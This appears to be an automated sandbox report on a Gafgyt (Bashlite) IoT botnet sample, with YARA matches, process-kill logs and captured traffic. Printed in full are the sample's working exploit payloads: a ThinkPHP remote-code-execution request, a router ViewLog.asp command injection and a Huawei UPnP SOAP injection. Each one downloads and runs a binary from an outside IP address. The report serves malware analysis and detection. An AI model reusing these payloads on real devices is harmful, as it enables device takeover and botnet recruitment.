Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 2f 62 69 6e 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 62 69 6e 2e 73 68 3b 20 2e 2f 62 69 6e 2e 73 68 Data Ascii: /bin/busybox wget http://139.59.126.134/bin.sh; chmod +x bin.sh; ./bin.sh

Source: ewe.mips.elf	String found in binary or memory: http://139.59.126.134/bin.sh;
Source: ewe.mips.elf	String found in binary or memory: http://139.59.126.134/bns/x86
Source: ewe.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ewe.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: ewe.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: ewe.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5497, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5503, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5506, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5510, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://139.59.126.134/bin.sh; chmod +x bin.sh; ./bin.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://139.59.126.134/bin.sh; chmod +x bin.sh; ./bin.shfffg

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5497, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5503, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5506, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5510, result: successful	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5514)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior

Source: ewe.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: ewe.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
